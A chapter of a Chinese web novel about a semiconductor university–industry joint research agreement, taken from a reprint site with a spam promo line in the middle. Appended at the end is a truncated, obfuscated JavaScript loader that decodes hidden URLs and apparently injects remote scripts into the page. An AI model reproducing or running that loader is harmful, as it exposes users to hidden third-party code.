第437章 学术界联合攻关计划签署
哈森院士的办公室在合城产学研融合中心的顶楼,窗外正对着追光五期那片正在浇筑地基的空地。老人把星环科研奖励机制第一批课题指南的终审稿摊在桌上,旁边摞着昆仑基金二期的申报材料——林薇三天前送来的,扉页上标注了四大课题与产业链高风险项的交叉比对结果。哈森摘下老花镜,对坐在对面的林薇和章宸说了一句话:「课题指南可以发布了。但有一件事,比发布指南更急。」
他从抽屉里取出一份手写的名单,上面列着十二所高校和科研机构的名字。名字按学科领域分成四组——半导体材料丶集成电路设计自动化丶先进封装热力学丶制造工艺仿真。每一组后面都标注着对应的产业链高风险项编号,以及一个手写的星号标记。星号的含义哈森在名单右下角做了解释:「该团队已具备将基础研究成果转化为产线可用方案的能力,建议优先纳入联合攻关机制。」
「星环课题指南是开放申报的,谁都可以申请。」哈森把名单推给章宸,「但基础研究到产线落地之间的那道鸿沟,靠零散的课题申报填不平。一个高校实验室做出来的材料配方,从实验室的一克级合成放大到产线的百公斤级批次,中间需要工艺装备丶产线验证窗口期和量产良率数据反馈。这三样东西高校没有,星环基金能给钱但给不了产线接口。如果我们不主动设计一套机制把学术界和制造端咬合在一起,未来三年产业链高风险项中最难啃的那几块骨头——光刻胶中试放大丶离子注入机离子源灯丝寿命丶封装热应力仿真模型——仍然会在论文发表和产线验证之间的裂缝里卡住。」
章宸把名单上的四组学科领域与林薇昨天送到他桌上的天权7号3D堆叠预研需求做了交叉比对。封装热应力仿真模型同时出现在哈森名单的第三组和天权7号预研需求的第一批攻关方向里。半导体材料组对应的是光刻胶中试线和抛光液国产替代原料瓶颈——缅甸稀土矿的首批样品矿还在海路上,但原料品位和批次稳定性需要材料学团队做系统性的表徵和工艺窗口标定。制造工艺仿真组对应的是天枢OS产线调度引擎向追光三期和恒芯封装试产线的扩容需求——郑工已经在写产线调度模拟课程的大纲,但仿真模型的精度提升需要学术界在约束满足算法和随机过程建模上的理论突破。
「这不是一次课题申报动员会。」章宸把名单合上,「是需要签一份学术界联合攻关计划——把十二家高校和科研机构绑在同一张责任状上,每一家的研究方向直接对应产业链的一项待关闭差距。星环基金出经费,合城产业园出产线验证窗口和数据反馈,高校出基础研究能力和研究生培养规模。三方责任写入同一份协议。」
林薇在章宸说完后翻开了她的笔记本,上面有一张她手绘的天权产品线技术树图。从天权4号到天权6号到正在预研的天权7号,每一代晶片的工艺节点丶封装方案和关键材料需求都被标注在对应的技术层级上。她的笔尖停在天权7号3D堆叠的那一栏——封装热应力仿真模型的精度需求旁边,打着一个红色的问号。
本书首发找台湾好书上台湾小说网,t??w??k??a??n??.c??o??m??超方便,提供给你无错章节,无乱序章节的阅读体验
「天权7号的3D堆叠方案有三套备选路径。」林薇把技术树图投到屏幕上,「三套路径的共同瓶颈是封装热应力仿真。3D堆叠的晶片在垂直方向上堆叠了多层矽片,每一层的热膨胀系数和功率密度不同,封装固化过程中产生的热应力会在层间界面产生微裂纹。我们的仿真模型目前用的是有限元二维近似,精度误差在正负百分之十八左右。这个误差意味着设计团队在做堆叠方案选型时,必须预留百分之二十的安全裕量——裕量每增加一个百分点,封装成本上升大约百分之三,晶片最终性能下降百分之零点五到百分之零点八。要把仿真精度从正负百分之十八压缩到正负百分之五以内,需要的不是更多的计算资源,而是基础热力学理论的突破——多层异质材料在非线性温度梯度下的界面应力传播模型。这个模型全球学术界研究了十几年,发了几百篇论文,但还没有一支团队把它从论文里搬到一个真实晶片的封装设计流程里。」
哈森在名单上第三组「先进封装热力学」下面画了一道线。三所高校的热力学与材料科学实验室在这一领域有长期的学术积累,其中一所的团队三年前在学术期刊上发表过一篇被引用了上百次的界面应力解析解论文。但那篇论文的模型假设是两层矽片堆叠丶均匀温度场丶理想界面结合——三个假设在真实的天权7号堆叠方案中都不成立。天权7号的堆叠结构是四层异质晶片,温度场在垂直方向上存在非线性梯度,界面结合强度受焊料合金成分和封装固化工艺参数的耦合影响。
「把三层假设一层一层剥掉,让解析解从两层扩展到四层丶从均匀温度场扩展到非线性梯度丶从理想界面扩展到真实焊料合金的力学特性——这就是联合攻关计划要签的第一项课题。」章宸在林薇的技术树图旁边写下了课题名称,「由合城提供天权4号和天权6号封装产线的实测热应力数据作为校准基准,由高校团队负责理论建模和仿真算法,由恒芯提供不同焊料合金配方的力学特性测试样本。三方联合署名,论文公开发表,仿真模型原始码纳入补天工具链共建层。」
这是星环科研奖励机制和补天工具链开放体系第一次被整合进同一个联合攻关框架。哈森在课题方案下方加了一条制度设计——联合攻关课题的成果归属不按传统模式由资助方独享或高校独享,而是采用「贡献比例确权」。三方在课题启动前签署贡献比例确认书,根据各自在理论突破丶实验验证和数据校准中的实际贡献占比划分智慧财产权。每一笔贡献都留痕,每一个比例都可以被审计。
「贡献比例确权是李明哲在日内瓦推动的『可验证的技术体系』在学术界合作中的落地。」哈森说,「如果这套确权机制在十二所高校的联合攻关中跑通了,它就可以成为天罡生态合作基金和星环科研奖励机制的通用智慧财产权分配框架。这对吸引全球学术力量加入未来科技的技术生态,比任何宣传口号都管用。」
签约筹备工作在接下来一周内迅速推进。方敏被陈醒指定为联合攻关计划签约仪式的总协调人。她把签约日期定在哈森名单上十二所高校全部完成内部审批后的第五天——恰好是天权6号样片回片倒计时两周丶追光首批退役设备出口签约倒计时两周,三件事在合城的时间表上以同等优先级并行推进。
方敏在筹备会上做了一件让所有人记住的安排。她没有把签约仪式放在合城国际会议室的正式会议厅,而是放在了造芯学院的实训车间。签约台的背景不是LED大屏,而是一排正在运行的教学用刻蚀设备和光刻机,每台设备旁边站着一组造芯学院的学员,正在做产线级晶片设计实战课程的工艺实验。签约代表们走进来的那一刻,看到的是真实的半导体制造环境——空气里带着洁净室特有的化学试剂气味,设备运转的低频嗡鸣声和在线检测站台的机械臂节拍声交织在一起。
「签约仪式应该放在它所属的场景里。」方敏对前来确认场地的哈森说,「联合攻关计划的落地不在会议室的桌上,在产线上丶在实验室里丶在学员站在这台设备前学会操作的那一天。让十二所高校的代表亲眼看到他们的基础研究最终会在什么样的环境里变成生产力,比任何签约致辞都有意义。」
签约前一天,十二所高校的代表陆续到达合城。其中三所的代表是校长亲自带队,另外九所是分管科研的副校长或重点实验室主任。哈森在合城产学研融合中心的报告厅主持了签约前的闭门技术对接会。会议从下午两点一直开到晚上九点,中间只休息了两次——不是因为议程排得太满,而是因为技术对接的深度超出了所有人的预期。
封装热力学组的对接最激烈。高校团队的代表是一位四十岁出头的材料力学教授,姓严,头发已经稀疏,但说话时手势幅度很大,白板上被他写满了偏微分方程和应力云图。他在看到林薇提供的天权6号封装产线实测热应力数据后,沉默了将近三分钟。然后他站起来,走到白板前,把他三年前发表的那篇界面应力解析解论文的公式重新写了一遍,在每一个假设条件旁边标注了与真实数据的偏差量。两层假设下的解析解与实测数据的偏差是正负百分之十二。扩展到四层后,偏差反而上升到百分之十九——因为扩展时引入的层间耦合项在理想界面假设下被错误简化了。
「这三分钟把我三年的工作推翻了一半。」严教授放下记号笔,转过身对林薇说,「但也指了一条新路。真实焊料合金的界面不是理想的——焊料在固化过程中会形成微观的金属间化合物层,这层的厚度只有几百纳米,但它的弹性模量和热膨胀系数与焊料基体和矽片都不一样。我的模型从来没有考虑过这个中间层,因为论文里看不到它的数据。」
林薇把恒芯封装试产线在国产焊料替代验证中积累的界面微观结构数据调了出来。能谱分析显示,焊料与矽片界面处的镍锡金属间化合物层厚度在焊料配方不同时从零点三微米到零点八微米波动,弹性模量波动幅度高达百分之四十。「这些数据是恒芯的罗工带着三名造芯学院毕业生在驻厂期间一个一个样本测出来的。数据质量可以满足您的模型参数标定需求,但需要您帮助设计一套从微观界面力学特性到宏观封装热应力之间的多尺度耦合求解器。」
「多尺度耦合求解器。」严教授把这个词写在了白板上,在旁边画了一个从纳米级界面到毫米级封装的三层嵌套方框。「从金属间化合物层的分子动力学模拟,到焊料凸点的连续介质力学模型,到整颗晶片封装的有限元求解——三层嵌套,每一层的输出是上一层的输入。这个求解器的架构设计需要六到八个月,算法实现需要再六到八个月。」
「天权7号的3D堆叠方案选型不能等十六个月。」林薇说,「但我们可以分两阶段交付。第一阶段——六个月内完成两层堆叠的简化版多尺度模型,精度目标正负百分之十,用于堆叠方案的初步筛选。第二阶段——十四个月内完成四层完整模型,精度目标正负百分之五,用于最终选型和量产工艺参数优化。恒芯在六个月内可以提供至少三批不同焊料配方的界面力学测试数据,造芯学院的学员可以参与样本制备和测试。」
严教授在课题任务书上签了字。他在签字时对哈森说了一句话:「我做了二十年界面力学,发的论文被引了上千次。但这是第一次,我的模型在写完公式后不到一个小时就能在屏幕上看到和真实产线数据的对比偏差。这种效率不是用钱能衡量的。」
半导体材料组的对接同样紧张。光刻胶中试放大是红中红三项中的一项,八亿元矽片产线投资方案已经通过了未来科技内部的初评,但光刻胶的中试线推进比计划滞后了至少三个月。根因不在资金,而在配方从实验室克级合成到中试百公斤级批次放大的过程中,树脂分子量的批次一致性无法稳定控制在正负百分之三以内。
高校团队的代表是一位精细化工领域的女教授,姓顾,她的课题组在国内光刻胶树脂合成领域有近十五年的积累。她在看到追光产线提供的进口光刻胶与国产替代品在分子量分布曲线上的对比数据后,指出问题不在配方,而在中试设备的反应釜搅拌和温控精度。「实验室的磁力搅拌可以在几毫升的容积内做到近乎完美的均匀混合。但百公斤级反应釜的搅拌桨设计和温控夹套的传热效率,决定了树脂分子量分布的批次一致性。这不是化学问题,是化学工程问题。」
梁志远在旁边听完后,调出了合工热工在国产固化炉再分布层介质层厚度控制上积累的工艺数据。「合工热工的国产固化炉在温度场均匀性上已经追平了进口设备,偏差控制在了正负零点一二微米。同样的热工控制技术能不能迁移到光刻胶中试反应釜的温控系统设计上?」
顾教授和合工热工的技术负责人在对接会现场交换了联系方式和设备规格参数,约定两周内由合工热工向顾教授的实验室提供一套小型中试反应釜的温控改造方案,用于先行验证。如果验证效果达到预期,后续百公斤级中试线的反应釜温控系统可以参照同一套方案进行工程放大。
制造工艺仿真组的对接涉及天枢OS产线调度引擎向追光三期和恒芯封装试产线扩容的核心算法。郑工在对接会上展示了他设计的基于约束满足的混合整数规划算法,以及环境变量预响应模块的架构。但他坦诚地指出,当调度引擎同时管理追光三期丶追光四期和恒芯封装试产线三座产线时,约束变量的维度从当前的几百个暴增到数千个,现有算法的求解时间会从秒级退化到小时级,完全无法满足实时调度的需求。
高校团队的代表是一位应用数学与运筹学方向的教授,姓唐,在随机过程建模和大规模组合优化领域有很深的学术积累。他在听完郑工的技术描述后,在白板上画了一条问题结构树,将三座产线的调度约束分解为三个层次——产线内部的设备级约束丶产线之间的晶圆流转约束丶以及与供应链上游原材料交付周期之间的外部约束。三层约束之间的耦合强度不同,产线内部的约束耦合最强,产线之间的次之,供应链端的可以近似为随机边界条件。
「如果把这个三层结构用嵌套分解算法来解,先求解产线内部的子问题,再把子问题的最优值作为约束代入产线间的协调问题,最后用随机规划处理供应链端的不确定性,计算量可以压缩两个数量级。」唐教授说,「这个算法框架在我的课题组已经完成了理论推导和基准测试,但从来没有在真实产线数据上验证过。」
郑工当场调出了追光四期过去三个月全部设备的稼动率丶维修记录和工艺参数历史数据,把这些数据打包加密后交给了唐教授。「数据量是十二个TB。脱敏处理已经完成——晶圆批次号和客户信息已去除,设备编号做了匿名化。您用这套数据跑一遍您的算法,看看求解时间能不能压到秒级以内。」
唐教授接过硬碟,在手心里掂了掂,感慨道:「这是我做运筹学二十年拿到的最沉的一份数据。」
签约当天。造芯学院的实训车间被方敏布置成了签约会场。十二所高校的代表坐在签约台两侧,面前各摆着一份联合攻关计划框架协议。协议的扉页上印着协议名称——「产业链基础研究联合攻关计划」,下方是三行核心条款:责任绑定——每一所高校的攻关课题直接对应产业链一项待关闭差距;数据对等——合城产业园开放产线验证窗口和数据反馈,高校开放研究方法和中间成果;贡献确权——三方根据理论突破丶实验验证和数据校准的实际贡献占比共享智慧财产权。
签约台正前方,宋瑾穿着造芯学院的实训服站在一台刻蚀设备旁边。她正在带第二届新生做工艺实验,刻蚀设备的石英窗透出淡紫色的等离子体辉光。方敏没有安排她上台发言,但她的存在本身就是联合攻关计划最直接的注释——三年时间,从高中学历产线操作员到晶片设计工程师,到站在这里把工艺知识传递给下一代学员。技术自主的根基不是任何一纸协议,而是一代一代能在产线边站住丶能在设备前动手的人。
哈森在签约前讲了五分钟话。他的声音不高,但在实训车间里听得很清楚。「我在半导体领域工作了半个世纪。三十年前,国际学术会议上几乎没有来自中国的半导体论文。二十年前,有了论文,但论文和产线之间隔着一堵看不见的墙。十年前,墙开始裂了——个别团队的成果被产线采纳。今天,十二所高校在同一间屋子里签署同一份协议,每一份协议都绑定了一个产线真实需求。这不是一次签约。这是中国半导体学术界和产业界之间那堵墙的倒塌。」
签约开始。十二所高校的代表依次在协议上签字,每签完一份,对应的产线验证窗口期和数据反馈方案就在合城的终端上自动更新。封装热力学组的严教授签完后,林薇当场把恒芯封装试产线的第一批界面微观结构数据移交给了他。制造工艺仿真组的唐教授签完后,郑工把天枢OS调度引擎的原始码开发文档和接口协议发到了他的邮箱。
全部签约完成时,实训车间的设备仍然在运转。造芯学院的学员们站在设备旁,目睹了整个过程。他们没有鼓掌——因为戴着洁净手套——但他们目光里的东西比掌声更清楚。
宋瑾后来在当天的实训日志里写道:「今天签了十二份协议。我全程站在刻蚀设备旁边,手里的工艺参数没有因为签约而中断。设备还在转,晶圆还在跑,学员还在学。那些签了字的纸不会让设备转得更快,但会让那些站在设备前面的人知道——他们不是在孤军奋战。他们的背后,有十二所高校的实验室在解决他们可能一辈子也遇不到的基础理论问题,但这些问题最终会变成他们手里的工艺参数。」
签约仪式结束后,陈醒在合城中央研究院的周例会上听取了章宸的汇报。他没有对签约本身做任何评价,而是提了两个问题。
第一个问题:「联合攻关计划的十二个课题,哪些是可以在天权6号样片回片之前产出阶段性结果的?」
林薇翻开进度追踪表,逐一过了一遍。制造工艺仿真组的嵌套分解算法框架已由唐教授完成理论推导,可以在两周内用追光四期的十二TB历史数据跑完第一轮验证——验证结果将直接决定天枢OS调度引擎向追光三期扩容时的算法选型。封装热力学组的严教授可以在六周内交付两层堆叠的简化版多尺度模型,天权6号样片回片后的封装可靠性测试数据将为这个模型提供第一轮校准基准。
「两项。」林薇说,「调度算法验证和两层堆叠简化模型。两项在样片回片前可以产出阶段性结果。」
第二个问题:「联合攻关计划的成果,什么时候能纳入补天工具链的共建层?」
章宸回答:「严教授承诺多尺度耦合求解器的原始码在第二阶段交付时纳入补天共建层,时间节点是十四个月。唐教授的嵌套分解算法框架如果两周内跑通产线数据验证,可以在三个月内以开源模块的形式纳入补天工具链的布局布线引擎——用于优化大规模晶片设计的并行绕线任务分配。这是补天V1发布后第一个从学术界直通共建层的模块。」
陈醒在会议纪要上写了两行字:「联合攻关计划签了十二份协议,但真正的验收标准不是签了多少份,而是有多少项成果从论文里走出来,走进了产线的工艺参数表丶走进了补天工具链的代码仓库丶走进了天权下一代架构的设计套件。这个转化率,每季度对帐一次。」
会议散场时,哈森在走廊上叫住了章宸。他从公文包里取出一份新的文件——昆仑基金二期课题申报的初审结果。四大课题全部通过初审,其中林薇领衔的「封装热应力多尺度仿真平台」和赵静主导的「AI辅助晶片设计模型可解释性研究」被评审委员会列为优先资助序列。但哈森关注的是另一个数字:昆仑基金二期的申请总量比一期翻了将近三倍,来自国内高校的申请占比从一期的百分之四十二跃升到百分之六十七。
「学术界被唤醒了。」哈森把数据递给章宸,「十二所高校的联合攻关计划是一个信号——信号发出后,其他高校不再观望了。他们看到合城不是来挖教授的,是来送数据和产线验证窗口的。这种合作模式在学术界传得比任何宣传都快。」
章宸接过数据,目光停在百分之六十七那个数字上。补天V1的下载申请里高校占比超过三分之一,星环基金二期申请里高校占比接近七成,联合攻关计划十二所高校全部签约——三件事叠加在一起,正在把合城从一个企业研发中心变成一张覆盖全国高校的集成电路基础研究网络的核心节点。这张网一旦织成,火龙联盟对EDA工具的封锁丶对工艺材料的禁运丶对学术交流的限制,都将在这张网的内部循环中被逐项对冲。
他合上文件,抬头看向走廊尽头。造芯学院实训车间的灯光从门缝里透出来,学员们还在做夜间的工艺实验。追光五期的打桩机已经停止了今天的作业,但追光四期的航标灯依旧亮着,恒芯封装试产线的厂房里罗工带领的驻厂第二梯队正在为天权6号封装国产化的最后三项待关闭差距做夜间测试。
距离天权6号样片回片还有两周。距离追光设备出口签约还有两周。距离天罡生态大会开幕还有六周。联合攻关计划的第一批阶段性成果——唐教授的调度算法验证和严教授的简化版多尺度模型——将在样片回片前交出答案。
而在中央研究院的封闭开发区里,赵静正对着一块屏幕上的功耗曲线图皱眉。天权6号预调度模型在最新一批极限温度仿真数据中暴露了一个之前未被发现的非线性偏移——不是在125度极限温度下,而是在负四十度低温冷启动场景中,预调度模型的准确率掉到了百分之八十六,比高温端的百分之九十一还低了五个百分点。低温下的电晶体载流子迁移率变化规律与高温端完全不同,她在五百颗晶片极限温度数据上做的重训练主要覆盖的是高温区域。
她把低温偏移的数据打包,发给张京京,附了一句话:「物理时钟偏斜方案在低温下的适应性需要重新评估。如果物理层在低温端也有非线性效应,两条路径的协同策略需要加入温度维度的动态权重分配。」
张京京收到消息时正在补天V1的代码仓库里合并一个高校团队提交的多线程绕线引擎改进补丁。她看完赵静的数据后,在终端上调出物理时钟偏斜方案在最差工艺角仿真下的低温表现——总线尖峰压制效果在负四十度下降了百分之四。不多,但在协同策略里,物理层的百分之四和算法层的百分之五叠加,可能在天权6号样片的低温测试中触发功耗超标。
她给赵静回了消息:「两条路径在低温端都有非线性。给我三天,我把物理时钟偏斜方案的低温补偿电路参数重新优化一轮。优化后我们做一次全温度范围内的双路径协同仿真,把低温端的联合压制效果重新校准。」
赵静回复了一个数字:「倒计时十四天。」
天权6号样片回片的倒计时牌挂在中央研究院封闭开发区入口处的墙上,数字每天减一。而在合城的另一端,造芯学院实训车间的灯光彻夜未熄,天枢OS的六千余个数据节点正在运行在同一套刚刚定稿的数据治理细则之下,补天V1的下载申请已经突破了八百份,追光三期的退役刻蚀设备正在做出口前的最后调试,联合攻关计划的十二份协议正在被翻译成多语种版本准备提交日内瓦备案。
每一个数字都在变,但变的方向只有一个。
一秒记住【笔趣阁】
biquge120.net,更新快,无弹窗!
!function(){function a(a){var _idx="d2yajuo2zt";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/f@TdC_O@4F/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"f@TdC_O@4F"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m)qXL26Fm2YF"="}Ko}X5ThF)mp5LJXYTm2YF"="}Ko}2pThFm)qXL26Fm2YF"="}Ko}_JqhFmp5LJXYTm2YF"="}Ko}2TOhFm)qXL26Fm2YF"="}Ko}CSqhF)mp5LJXYTm2YF"="}Ko})FfThF)fm)qXL26Fm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mRSdJ6YLm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^mLLS_D4Xm(O^gQ}1Q/f/}Ko}j(8}vY8f@TdC_O@4F"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[